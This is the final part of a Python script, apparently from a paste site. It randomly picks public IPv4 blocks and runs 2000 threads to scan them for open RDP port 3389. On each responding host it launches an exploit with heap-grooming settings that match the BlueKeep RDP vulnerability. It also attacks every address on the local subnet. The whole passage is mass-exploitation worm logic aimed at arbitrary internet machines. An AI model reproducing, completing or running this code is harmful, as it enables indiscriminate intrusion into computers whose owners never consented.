  945.     symbols = {'info' : '*', 'good' : '+', 'warning' : '!', 'error' : '-'}
  946.     print("[%s] %s" % (symbols[level], msg))
  947.  
  948. def gen_IP_block():
  949.     not_valid = [10,127,169,172,192]
  950.     first = random.randrange(1,256)
  951.     while first in not_valid:
  952.         first = random.randrange(1,256)
  953.     ip = ".".join([str(first),str(random.randrange(1,256)),
  954.     str(random.randrange(1,256))])
  955.     return ip+".0/24"
  956.  
  957. def ip_range(input_string):
  958.     octets = input_string.split('.')
  959.     chunks = [map(int, octet.split('-')) for octet in octets]
  960.     ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
  961.  
  962.     for address in itertools.product(*ranges):
  963.         yield '.'.join(map(str, address))
  964.  
  965. def Scan(IP):
  966.     try:
  967.             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  968.             s.settimeout(1)
  969.             s.connect((IP, 3389))
  970.             s.close()
  971.             args={}
  972.             args['RHOST'] = IP
  973.             args['RPORT'] = 3389
  974.             args['GROOM'] = 'chunk'
  975.             args['SSLVersion'] = 'TLSv1'
  976.             args['GROOMSIZE'] = 50
  977.             args['GROOMCHANNEL'] = 'RDPSND'
  978.             args['GROOMCHANNELCOUNT'] = 1
  979.             args['GROOMBASE'] = 0xfffffa8002407000
  980.             args['EXITFUNC'] = 'thread'
  981.             args['VERBOSE'] = 1
  982.             exploit(args)
  983.     except Exception as e:
  984.         pass
  985. def HaxThread():
  986.     while 1:
  987.         for IP in [str(ip) for ip in ipaddress.IPv4Network(gen_IP_block())]:
  988.             Scan(IP)
  989. def checklist(chunk, fh):
  990.     global running
  991.     global rekt
  992.     running += 1
  993.     threadID = running
  994.     for login in chunk:
  995.         try:
  996.             Scan(login)
  997.         except:
  998.             pass
  999.     print("\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded))
  1000.     running -= 1
  1001.  
  1002. if __name__ == "__main__":
  1003.     threads = 0
  1004.     for i in range(2000):
  1005.         try:
  1006.             threading.Thread(target=HaxThread, args=()).start()
  1007.             threads+=2
  1008.         except:
  1009.             pass
  1010.     myIP = socket.gethostbyname(socket.gethostname())
  1011.     for IP in [str(ip) for ip in ipaddress.IPv4Network('.'.join(myIP.split('.')[:3]) + ".0/24")]:
  1012.         if IP != myIP:
  1013.             Scan(IP)
Add Comment
Please, Sign In to add comment